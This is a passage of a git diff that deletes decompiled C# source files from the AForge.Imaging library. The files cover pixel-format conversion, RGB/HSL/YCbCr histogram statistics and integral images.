1052676) - { - if ((int)pixelFormat != 1060876) - { - goto IL_008a; - } - val = new Bitmap(width, height, (PixelFormat)137224); - num = 3; - } - else - { - val = CreateGrayscaleImage(width, height); - num = 1; - } - } - else if ((int)pixelFormat != 1851406) - { - if ((int)pixelFormat != 3424269) - { - goto IL_008a; - } - val = new Bitmap(width, height, (PixelFormat)2498570); - num = 4; - } - else - { - val = new Bitmap(width, height, (PixelFormat)925707); - num = 4; - } - BitmapData val2 = bimap.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, ((Image)bimap).PixelFormat); - BitmapData val3 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, ((Image)val).PixelFormat); - byte* ptr = (byte*)val2.Scan0.ToPointer(); - byte* ptr2 = (byte*)val3.Scan0.ToPointer(); - int stride = val2.Stride; - int stride2 = val3.Stride; - for (int i = 0; i < height; i++) - { - ushort* ptr3 = (ushort*)(ptr + (nint)i * (nint)stride); - byte* ptr4 = ptr2 + (nint)i * (nint)stride2; - int num2 = 0; - int num3 = width * num; - while (num2 < num3) - { - *ptr4 = (byte)(*ptr3 >> 8); - num2++; - ptr3++; - ptr4++; - } - } - bimap.UnlockBits(val2); - val.UnlockBits(val3); - return val; - IL_008a: - throw new UnsupportedImageFormatException("Invalid pixel format of the source image."); - } - - public unsafe static Bitmap Convert8bppTo16bpp(Bitmap bimap) - { - //IL_0013: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_001a: Unknown result type (might be due to invalid IL or missing references) - //IL_0021: Invalid comparison between Unknown and I4 - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_0023: Unknown result type (might be due to invalid IL or missing references) - //IL_002a: Invalid comparison between Unknown and I4 - //IL_0085: Unknown result type (might be due to invalid IL or missing references) - //IL_008b: Expected O, but got Unknown - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0047: Invalid comparison between Unknown and I4 - //IL_0063: Unknown result type (might be due to invalid IL or missing references) - //IL_0069: Expected O, but got Unknown - //IL_002c: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00a6: Unknown result type (might be due to invalid IL or missing references) - //IL_00be: Unknown result type (might be due to invalid IL or missing references) - //IL_0074: Unknown result type (might be due to invalid IL or missing references) - //IL_007a: Expected O, but got Unknown - //IL_0052: Unknown result type (might be due to invalid IL or missing references) - //IL_0058: Expected O, but got Unknown - Bitmap val = null; - int num = 0; - int width = ((Image)bimap).Width; - int height = ((Image)bimap).Height; - PixelFormat pixelFormat = ((Image)bimap).PixelFormat; - if ((int)pixelFormat <= 198659) - { - if ((int)pixelFormat != 137224) - { - if ((int)pixelFormat != 198659) - { - goto IL_008f; - } - val = new Bitmap(width, height, (PixelFormat)1052676); - num = 1; - } - else - { - val = new Bitmap(width, height, (PixelFormat)1060876); - num = 3; - } - } - else if ((int)pixelFormat != 925707) - { - if ((int)pixelFormat != 2498570) - { - goto IL_008f; - } - val = new Bitmap(width, height, (PixelFormat)3424269); - num = 4; - } - else - { - val = new Bitmap(width, height, (PixelFormat)1851406); - num = 4; - } - BitmapData val2 = bimap.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, ((Image)bimap).PixelFormat); - BitmapData val3 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, ((Image)val).PixelFormat); - byte* ptr = (byte*)val2.Scan0.ToPointer(); - byte* ptr2 = (byte*)val3.Scan0.ToPointer(); - int stride = val2.Stride; - int stride2 = val3.Stride; - for (int i = 0; i < height; i++) - { - byte* ptr3 = ptr + (nint)i * (nint)stride; - ushort* ptr4 = (ushort*)(ptr2 + (nint)i * (nint)stride2); - int num2 = 0; - int num3 = width * num; - while (num2 < num3) - { - *ptr4 = (ushort)(*ptr3 << 8); - num2++; - ptr3++; - ptr4++; - } - } - bimap.UnlockBits(val2); - val.UnlockBits(val3); - return val; - IL_008f: - throw new UnsupportedImageFormatException("Invalid pixel format of the source image."); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatistics.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatistics.cs deleted file mode 100644 index 98acd98..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatistics.cs +++ /dev/null @@ -1,390 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math; - -namespace AForge.Imaging; - -public class ImageStatistics -{ - private Histogram red; - - private Histogram green; - - private Histogram blue; - - private Histogram gray; - - private Histogram redWithoutBlack; - - private Histogram greenWithoutBlack; - - private Histogram blueWithoutBlack; - - private Histogram grayWithoutBlack; - - private int pixels; - - private int pixelsWithoutBlack; - - public Histogram Red - { - get - { - if (red == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return red; - } - } - - public Histogram Green - { - get - { - if (green == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return green; - } - } - - public Histogram Blue - { - get - { - if (blue == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return blue; - } - } - - public Histogram Gray - { - get - { - if (gray == null) - { - throw new InvalidImagePropertiesException("Cannot access gray histogram since the last processed image was color."); - } - return gray; - } - } - - public Histogram RedWithoutBlack - { - get - { - if (redWithoutBlack == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return redWithoutBlack; - } - } - - public Histogram GreenWithoutBlack - { - get - { - if (greenWithoutBlack == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return greenWithoutBlack; - } - } - - public Histogram BlueWithoutBlack - { - get - { - if (blueWithoutBlack == null) - { - throw new InvalidImagePropertiesException("Cannot access color histogram since the last processed image was grayscale."); - } - return blueWithoutBlack; - } - } - - public Histogram GrayWithoutBlack - { - get - { - if (grayWithoutBlack == null) - { - throw new InvalidImagePropertiesException("Cannot access gray histogram since the last processed image was color."); - } - return grayWithoutBlack; - } - } - - public int PixelsCount => pixels; - - public int PixelsCountWithoutBlack => pixelsWithoutBlack; - - public bool IsGrayscale => gray != null; - - public unsafe ImageStatistics(Bitmap image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - ProcessImage(new UnmanagedImage(val), null, 0); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe ImageStatistics(Bitmap image, Bitmap mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_0056: Unknown result type (might be due to invalid IL or missing references) - //IL_0077: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - CheckMaskProperties(((Image)mask).PixelFormat, new Size(((Image)mask).Width, ((Image)mask).Height), new Size(((Image)image).Width, ((Image)image).Height)); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - BitmapData val2 = mask.LockBits(new Rectangle(0, 0, ((Image)mask).Width, ((Image)mask).Height), (ImageLockMode)1, ((Image)mask).PixelFormat); - try - { - ProcessImage(new UnmanagedImage(val), (byte*)val2.Scan0.ToPointer(), val2.Stride); - } - finally - { - image.UnlockBits(val); - mask.UnlockBits(val2); - } - } - - public unsafe ImageStatistics(Bitmap image, byte[,] mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0057: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - CheckMaskProperties((PixelFormat)198659, new Size(mask.GetLength(1), mask.GetLength(0)), new Size(((Image)image).Width, ((Image)image).Height)); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - fixed (byte* mask2 = mask) - { - ProcessImage(new UnmanagedImage(val), mask2, mask.GetLength(1)); - } - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe ImageStatistics(UnmanagedImage image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - ProcessImage(image, null, 0); - } - - public unsafe ImageStatistics(UnmanagedImage image, UnmanagedImage mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - CheckMaskProperties(mask.PixelFormat, new Size(mask.Width, mask.Height), new Size(image.Width, image.Height)); - ProcessImage(image, (byte*)mask.ImageData.ToPointer(), mask.Stride); - } - - public unsafe ImageStatistics(UnmanagedImage image, byte[,] mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - CheckMaskProperties((PixelFormat)198659, new Size(mask.GetLength(1), mask.GetLength(0)), new Size(image.Width, image.Height)); - fixed (byte* mask2 = mask) - { - ProcessImage(image, mask2, mask.GetLength(1)); - } - } - - private unsafe void ProcessImage(UnmanagedImage image, byte* mask, int maskLineSize) - { - //IL_0075: Unknown result type (might be due to invalid IL or missing references) - //IL_007f: Invalid comparison between Unknown and I4 - //IL_0237: Unknown result type (might be due to invalid IL or missing references) - //IL_0241: Invalid comparison between Unknown and I4 - int width = image.Width; - int height = image.Height; - pixels = (pixelsWithoutBlack = 0); - red = (green = (blue = (gray = null))); - redWithoutBlack = (greenWithoutBlack = (blueWithoutBlack = (grayWithoutBlack = null))); - int num = maskLineSize - width; - if ((int)image.PixelFormat == 198659) - { - int[] array = new int[256]; - int[] array2 = new int[256]; - int num2 = image.Stride - width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if (mask == null) - { - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - byte b = *ptr; - array[b]++; - pixels++; - if (b != 0) - { - array2[b]++; - pixelsWithoutBlack++; - } - num3++; - ptr++; - } - ptr += num2; - } - } - else - { - for (int j = 0; j < height; j++) - { - int num4 = 0; - while (num4 < width) - { - if (*mask != 0) - { - byte b = *ptr; - array[b]++; - pixels++; - if (b != 0) - { - array2[b]++; - pixelsWithoutBlack++; - } - } - num4++; - ptr++; - mask++; - } - ptr += num2; - mask += num; - } - } - gray = new Histogram(array); - grayWithoutBlack = new Histogram(array2); - return; - } - int[] array3 = new int[256]; - int[] array4 = new int[256]; - int[] array5 = new int[256]; - int[] array6 = new int[256]; - int[] array7 = new int[256]; - int[] array8 = new int[256]; - int num5 = (((int)image.PixelFormat == 137224) ? 3 : 4); - int num6 = image.Stride - width * num5; - byte* ptr2 = (byte*)image.ImageData.ToPointer(); - if (mask == null) - { - for (int k = 0; k < height; k++) - { - int num7 = 0; - while (num7 < width) - { - byte b2 = ptr2[2]; - byte b3 = ptr2[1]; - byte b4 = *ptr2; - array3[b2]++; - array4[b3]++; - array5[b4]++; - pixels++; - if (b2 != 0 || b3 != 0 || b4 != 0) - { - array6[b2]++; - array7[b3]++; - array8[b4]++; - pixelsWithoutBlack++; - } - num7++; - ptr2 += num5; - } - ptr2 += num6; - } - } - else - { - for (int l = 0; l < height; l++) - { - int num8 = 0; - while (num8 < width) - { - if (*mask != 0) - { - byte b2 = ptr2[2]; - byte b3 = ptr2[1]; - byte b4 = *ptr2; - array3[b2]++; - array4[b3]++; - array5[b4]++; - pixels++; - if (b2 != 0 || b3 != 0 || b4 != 0) - { - array6[b2]++; - array7[b3]++; - array8[b4]++; - pixelsWithoutBlack++; - } - } - num8++; - ptr2 += num5; - mask++; - } - ptr2 += num6; - mask += num; - } - } - red = new Histogram(array3); - green = new Histogram(array4); - blue = new Histogram(array5); - redWithoutBlack = new Histogram(array6); - greenWithoutBlack = new Histogram(array7); - blueWithoutBlack = new Histogram(array8); - } - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Invalid comparison between Unknown and I4 - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_0016: Invalid comparison between Unknown and I4 - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - if ((int)pixelFormat != 198659 && (int)pixelFormat != 137224 && (int)pixelFormat != 139273 && (int)pixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported."); - } - } - - private void CheckMaskProperties(PixelFormat maskFormat, Size maskSize, Size sourceImageSize) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - if ((int)maskFormat != 198659) - { - throw new ArgumentException("Mask image must be 8 bpp grayscale image."); - } - if (maskSize.Width != sourceImageSize.Width || maskSize.Height != sourceImageSize.Height) - { - throw new ArgumentException("Mask must have the same size as the source image to get statistics for."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatisticsHSL.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatisticsHSL.cs deleted file mode 100644 index 1791c9e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatisticsHSL.cs +++ /dev/null @@ -1,224 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math; - -namespace AForge.Imaging; - -public class ImageStatisticsHSL -{ - private ContinuousHistogram luminance; - - private ContinuousHistogram saturation; - - private ContinuousHistogram luminanceWithoutBlack; - - private ContinuousHistogram saturationWithoutBlack; - - private int pixels; - - private int pixelsWithoutBlack; - - public ContinuousHistogram Saturation => saturation; - - public ContinuousHistogram Luminance => luminance; - - public ContinuousHistogram SaturationWithoutBlack => saturationWithoutBlack; - - public ContinuousHistogram LuminanceWithoutBlack => luminanceWithoutBlack; - - public int PixelsCount => pixels; - - public int PixelsCountWithoutBlack => pixelsWithoutBlack; - - public unsafe ImageStatisticsHSL(Bitmap image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)137224); - try - { - ProcessImage(new UnmanagedImage(val), null, 0); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe ImageStatisticsHSL(Bitmap image, Bitmap mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_0056: Unknown result type (might be due to invalid IL or missing references) - //IL_0077: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - CheckMaskProperties(((Image)mask).PixelFormat, new Size(((Image)mask).Width, ((Image)mask).Height), new Size(((Image)image).Width, ((Image)image).Height)); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - BitmapData val2 = mask.LockBits(new Rectangle(0, 0, ((Image)mask).Width, ((Image)mask).Height), (ImageLockMode)1, ((Image)mask).PixelFormat); - try - { - ProcessImage(new UnmanagedImage(val), (byte*)val2.Scan0.ToPointer(), val2.Stride); - } - finally - { - image.UnlockBits(val); - mask.UnlockBits(val2); - } - } - - public unsafe ImageStatisticsHSL(Bitmap image, byte[,] mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0057: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - CheckMaskProperties((PixelFormat)198659, new Size(mask.GetLength(1), mask.GetLength(0)), new Size(((Image)image).Width, ((Image)image).Height)); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - fixed (byte* mask2 = mask) - { - ProcessImage(new UnmanagedImage(val), mask2, mask.GetLength(1)); - } - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe ImageStatisticsHSL(UnmanagedImage image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - ProcessImage(image, null, 0); - } - - public unsafe ImageStatisticsHSL(UnmanagedImage image, UnmanagedImage mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - CheckMaskProperties(mask.PixelFormat, new Size(mask.Width, mask.Height), new Size(image.Width, image.Height)); - ProcessImage(image, (byte*)mask.ImageData.ToPointer(), mask.Stride); - } - - public unsafe ImageStatisticsHSL(UnmanagedImage image, byte[,] mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - CheckMaskProperties((PixelFormat)198659, new Size(mask.GetLength(1), mask.GetLength(0)), new Size(image.Width, image.Height)); - fixed (byte* mask2 = mask) - { - ProcessImage(image, mask2, mask.GetLength(1)); - } - } - - private unsafe void ProcessImage(UnmanagedImage image, byte* mask, int maskLineSize) - { - //IL_005d: Unknown result type (might be due to invalid IL or missing references) - //IL_0067: Invalid comparison between Unknown and I4 - int width = image.Width; - int height = image.Height; - pixels = (pixelsWithoutBlack = 0); - int[] array = new int[256]; - int[] array2 = new int[256]; - int[] array3 = new int[256]; - int[] array4 = new int[256]; - RGB rGB = new RGB(); - HSL hSL = new HSL(); - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int num2 = image.Stride - width * num; - int num3 = maskLineSize - width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if (mask == null) - { - for (int i = 0; i < height; i++) - { - int num4 = 0; - while (num4 < width) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - HSL.FromRGB(rGB, hSL); - array[(int)(hSL.Saturation * 255f)]++; - array2[(int)(hSL.Luminance * 255f)]++; - pixels++; - if ((double)hSL.Luminance != 0.0) - { - array3[(int)(hSL.Saturation * 255f)]++; - array4[(int)(hSL.Luminance * 255f)]++; - pixelsWithoutBlack++; - } - num4++; - ptr += num; - } - ptr += num2; - } - } - else - { - for (int j = 0; j < height; j++) - { - int num5 = 0; - while (num5 < width) - { - if (*mask != 0) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - HSL.FromRGB(rGB, hSL); - array[(int)(hSL.Saturation * 255f)]++; - array2[(int)(hSL.Luminance * 255f)]++; - pixels++; - if ((double)hSL.Luminance != 0.0) - { - array3[(int)(hSL.Saturation * 255f)]++; - array4[(int)(hSL.Luminance * 255f)]++; - pixelsWithoutBlack++; - } - } - num5++; - ptr += num; - mask++; - } - ptr += num2; - mask += num3; - } - } - saturation = new ContinuousHistogram(array, new Range(0f, 1f)); - luminance = new ContinuousHistogram(array2, new Range(0f, 1f)); - saturationWithoutBlack = new ContinuousHistogram(array3, new Range(0f, 1f)); - luminanceWithoutBlack = new ContinuousHistogram(array4, new Range(0f, 1f)); - } - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Invalid comparison between Unknown and I4 - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_0016: Invalid comparison between Unknown and I4 - if ((int)pixelFormat != 137224 && (int)pixelFormat != 139273 && (int)pixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported."); - } - } - - private void CheckMaskProperties(PixelFormat maskFormat, Size maskSize, Size sourceImageSize) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - if ((int)maskFormat != 198659) - { - throw new ArgumentException("Mask image must be 8 bpp grayscale image."); - } - if (maskSize.Width != sourceImageSize.Width || maskSize.Height != sourceImageSize.Height) - { - throw new ArgumentException("Mask must have the same size as the source image to get statistics for."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatisticsYCbCr.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatisticsYCbCr.cs deleted file mode 100644 index 5aaf115..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ImageStatisticsYCbCr.cs +++ /dev/null @@ -1,240 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math; - -namespace AForge.Imaging; - -public class ImageStatisticsYCbCr -{ - private ContinuousHistogram yHistogram; - - private ContinuousHistogram cbHistogram; - - private ContinuousHistogram crHistogram; - - private ContinuousHistogram yHistogramWithoutBlack; - - private ContinuousHistogram cbHistogramWithoutBlack; - - private ContinuousHistogram crHistogramWithoutBlack; - - private int pixels; - - private int pixelsWithoutBlack; - - public ContinuousHistogram Y => yHistogram; - - public ContinuousHistogram Cb => cbHistogram; - - public ContinuousHistogram Cr => crHistogram; - - public ContinuousHistogram YWithoutBlack => yHistogramWithoutBlack; - - public ContinuousHistogram CbWithoutBlack => cbHistogramWithoutBlack; - - public ContinuousHistogram CrWithoutBlack => crHistogramWithoutBlack; - - public int PixelsCount => pixels; - - public int PixelsCountWithoutBlack => pixelsWithoutBlack; - - public unsafe ImageStatisticsYCbCr(Bitmap image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)137224); - try - { - ProcessImage(new UnmanagedImage(val), null, 0); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe ImageStatisticsYCbCr(Bitmap image, Bitmap mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - //IL_0056: Unknown result type (might be due to invalid IL or missing references) - //IL_0077: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - CheckMaskProperties(((Image)mask).PixelFormat, new Size(((Image)mask).Width, ((Image)mask).Height), new Size(((Image)image).Width, ((Image)image).Height)); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - BitmapData val2 = mask.LockBits(new Rectangle(0, 0, ((Image)mask).Width, ((Image)mask).Height), (ImageLockMode)1, ((Image)mask).PixelFormat); - try - { - ProcessImage(new UnmanagedImage(val), (byte*)val2.Scan0.ToPointer(), val2.Stride); - } - finally - { - image.UnlockBits(val); - mask.UnlockBits(val2); - } - } - - public unsafe ImageStatisticsYCbCr(Bitmap image, byte[,] mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0057: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(((Image)image).PixelFormat); - CheckMaskProperties((PixelFormat)198659, new Size(mask.GetLength(1), mask.GetLength(0)), new Size(((Image)image).Width, ((Image)image).Height)); - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - fixed (byte* mask2 = mask) - { - ProcessImage(new UnmanagedImage(val), mask2, mask.GetLength(1)); - } - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe ImageStatisticsYCbCr(UnmanagedImage image) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - ProcessImage(image, null, 0); - } - - public unsafe ImageStatisticsYCbCr(UnmanagedImage image, UnmanagedImage mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_0014: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - CheckMaskProperties(mask.PixelFormat, new Size(mask.Width, mask.Height), new Size(image.Width, image.Height)); - ProcessImage(image, (byte*)mask.ImageData.ToPointer(), mask.Stride); - } - - public unsafe ImageStatisticsYCbCr(UnmanagedImage image, byte[,] mask) - { - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - CheckSourceFormat(image.PixelFormat); - CheckMaskProperties((PixelFormat)198659, new Size(mask.GetLength(1), mask.GetLength(0)), new Size(image.Width, image.Height)); - fixed (byte* mask2 = mask) - { - ProcessImage(image, mask2, mask.GetLength(1)); - } - } - - private unsafe void ProcessImage(UnmanagedImage image, byte* mask, int maskLineSize) - { - //IL_0075: Unknown result type (might be due to invalid IL or missing references) - //IL_007f: Invalid comparison between Unknown and I4 - int width = image.Width; - int height = image.Height; - pixels = (pixelsWithoutBlack = 0); - int[] array = new int[256]; - int[] array2 = new int[256]; - int[] array3 = new int[256]; - int[] array4 = new int[256]; - int[] array5 = new int[256]; - int[] array6 = new int[256]; - RGB rGB = new RGB(); - YCbCr yCbCr = new YCbCr(); - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int num2 = image.Stride - width * num; - int num3 = maskLineSize - width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if (mask == null) - { - for (int i = 0; i < height; i++) - { - int num4 = 0; - while (num4 < width) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - YCbCr.FromRGB(rGB, yCbCr); - array[(int)(yCbCr.Y * 255f)]++; - array2[(int)(((double)yCbCr.Cb + 0.5) * 255.0)]++; - array3[(int)(((double)yCbCr.Cr + 0.5) * 255.0)]++; - pixels++; - if ((double)yCbCr.Y != 0.0 || (double)yCbCr.Cb != 0.0 || (double)yCbCr.Cr != 0.0) - { - array4[(int)(yCbCr.Y * 255f)]++; - array5[(int)(((double)yCbCr.Cb + 0.5) * 255.0)]++; - array6[(int)(((double)yCbCr.Cr + 0.5) * 255.0)]++; - pixelsWithoutBlack++; - } - num4++; - ptr += num; - } - ptr += num2; - } - } - else - { - for (int j = 0; j < height; j++) - { - int num5 = 0; - while (num5 < width) - { - if (*mask != 0) - { - rGB.Red = ptr[2]; - rGB.Green = ptr[1]; - rGB.Blue = *ptr; - YCbCr.FromRGB(rGB, yCbCr); - array[(int)(yCbCr.Y * 255f)]++; - array2[(int)(((double)yCbCr.Cb + 0.5) * 255.0)]++; - array3[(int)(((double)yCbCr.Cr + 0.5) * 255.0)]++; - pixels++; - if ((double)yCbCr.Y != 0.0 || (double)yCbCr.Cb != 0.0 || (double)yCbCr.Cr != 0.0) - { - array4[(int)(yCbCr.Y * 255f)]++; - array5[(int)(((double)yCbCr.Cb + 0.5) * 255.0)]++; - array6[(int)(((double)yCbCr.Cr + 0.5) * 255.0)]++; - pixelsWithoutBlack++; - } - } - num5++; - ptr += num; - mask++; - } - ptr += num2; - mask += num3; - } - } - yHistogram = new ContinuousHistogram(array, new Range(0f, 1f)); - cbHistogram = new ContinuousHistogram(array2, new Range(-0.5f, 0.5f)); - crHistogram = new ContinuousHistogram(array3, new Range(-0.5f, 0.5f)); - yHistogramWithoutBlack = new ContinuousHistogram(array4, new Range(0f, 1f)); - cbHistogramWithoutBlack = new ContinuousHistogram(array5, new Range(-0.5f, 0.5f)); - crHistogramWithoutBlack = new ContinuousHistogram(array6, new Range(-0.5f, 0.5f)); - } - - private void CheckSourceFormat(PixelFormat pixelFormat) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - //IL_0008: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Invalid comparison between Unknown and I4 - //IL_0010: Unknown result type (might be due to invalid IL or missing references) - //IL_0016: Invalid comparison between Unknown and I4 - if ((int)pixelFormat != 137224 && (int)pixelFormat != 139273 && (int)pixelFormat != 2498570) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported."); - } - } - - private void CheckMaskProperties(PixelFormat maskFormat, Size maskSize, Size sourceImageSize) - { - //IL_0000: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Invalid comparison between Unknown and I4 - if ((int)maskFormat != 198659) - { - throw new ArgumentException("Mask image must be 8 bpp grayscale image."); - } - if (maskSize.Width != sourceImageSize.Width || maskSize.Height != sourceImageSize.Height) - { - throw new ArgumentException("Mask must have the same size as the source image to get statistics for."); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/IntegralImage.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/IntegralImage.cs deleted file mode 100644 index b762414..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/IntegralImage.cs +++ /dev/null @@ -1,182 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class IntegralImage -{ - protected uint[,] integralImage; - - private int width; - - private int height; - - public int Width => width; - - public int Height => height; - - public uint[,] InternalData => integralImage; - - protected IntegralImage(int width, int height) - { - this.width = width; - this.height = height; - integralImage = new uint[height + 1, width + 1]; - } - - public static IntegralImage FromBitmap(Bitmap image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Source image can be graysclae (8 bpp indexed) image only."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)198659); - IntegralImage result = FromBitmap(val); - image.UnlockBits(val); - return result; - } - - public static IntegralImage FromBitmap(BitmapData imageData) - { - return FromBitmap(new UnmanagedImage(imageData)); - } - - public unsafe static IntegralImage FromBitmap(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - 